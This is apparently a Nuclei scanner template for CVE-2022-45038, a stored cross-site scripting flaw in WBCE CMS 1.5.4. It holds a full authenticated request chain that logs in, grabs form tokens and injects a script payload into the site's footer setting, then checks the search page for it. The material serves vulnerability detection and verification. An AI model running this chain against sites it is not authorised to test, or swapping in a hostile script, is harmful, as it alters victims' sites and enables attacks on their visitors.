id: CVE-2022-45038

info:
  name: WBCE CMS v1.5.4 -  Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in /admin/settings/save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Website Footer field.
  reference:
    - https://github.com/WBCE/WBCE_CMS
    - https://shimo.im/docs/Ee32MrJd80iEwyA2/read
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45038
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-45038
    cwe-id: CWE-79
    epss-score: 0.00077
    cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    verified: true
    vendor: wbce
    product: wbce_cms
  tags: cve,cve2022,xss,wbce,cms,authenticated

http:
  - raw:
      - |
        GET /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
      - |
        GET /admin/settings/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/settings/save.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        advanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password=
      - |
        GET /search/index.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Results For"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: username_fieldname
        group: 1
        regex:
          - 'name="username_fieldname" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: password_fieldname
        group: 1
        regex:
          - 'name="password_fieldname" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: formtoken
        group: 1
        regex:
          - 'name="formtoken" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: app_name
        group: 1
        regex:
          - 'name="app_name" value="(.*?)"'
        internal: true
        part: body